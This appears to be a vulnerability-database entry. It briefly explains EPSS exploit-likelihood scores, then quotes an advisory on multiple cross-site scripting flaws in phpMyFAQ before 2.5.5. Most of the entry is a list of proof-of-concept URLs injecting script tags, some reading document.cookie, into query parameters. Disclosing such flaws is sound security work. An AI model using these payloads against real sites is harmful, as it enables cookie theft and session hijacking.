EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

source: https://www.securityfocus.com/bid/37180/info phpMyFAQ is prone to multiple cross-site scripting vulnerabilities because the application fails to properly sanitize user-supplied input. An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks. Versions prior to phpMyFAQ 2.5.5 are vulnerable. http://www.example.com/index.php?action=sitemap&lang=en"><script>alert(1)</script> http://www.example.com/index.php?search=hello"><script>alert(document.cookie)</script>&action=search http://www.example.com/index.php?action=artikel&cat=1&id=1&artlang=en&highlight=you"><script>alert(1)</script> http://www.example.com/index.php?action=artikel&cat=1&id=1&artlang=en"><script>alert(1)</script> http://www.example.com/index.php?action=sitemap&letter=W&lang=en"><script>alert(1)</script> http://www.example.com/index.php?action=sitemap&letter=W"><script>alert(1)</script>&lang=en http://www.example.com/index.php?sid=7&lang=en"><script>alert(document.cookie)</script>&action=show&cat=1 http://www.example.com/index.php?sid=7&lang=en&action=show&cat=1"><script>alert(document.cookie)</script> http://www.example.com/index.php?action=search&tagging_id=1"><script>alert(1)</script> http://www.example.com/index.php?action=news&newsid=1&newslang=en"><script>alert(document.cookie)</script> http://www.example.com/index.php?action=send2friend&cat=1&id=1&artlang=en"><script>alert(1)</script> http://www.example.com/index.php?action=send2friend&cat=1"><script>alert(1)</script>&id=1&artlang=en http://www.example.com/index.php?action=send2friend&cat=1&id=1"><script>alert(1)</script>&artlang=en http://www.example.com/index.php?action=translate&cat=1&id=1&srclang=en"><script>alert(1)</script> http://www.example.com/index.php?action=translate&cat=1&id=1"><script>alert(1)</script>&srclang=en http://www.example.com/index.php?action=translate&cat=1"><script>alert(1)</script>&id=1&srclang=en http://www.example.com/index.php?action=add&question=1&cat=1"><script>alert(1)</script> http://www.example.com/index.php?action=add&question=1"><script>alert(1)</script>&cat=1
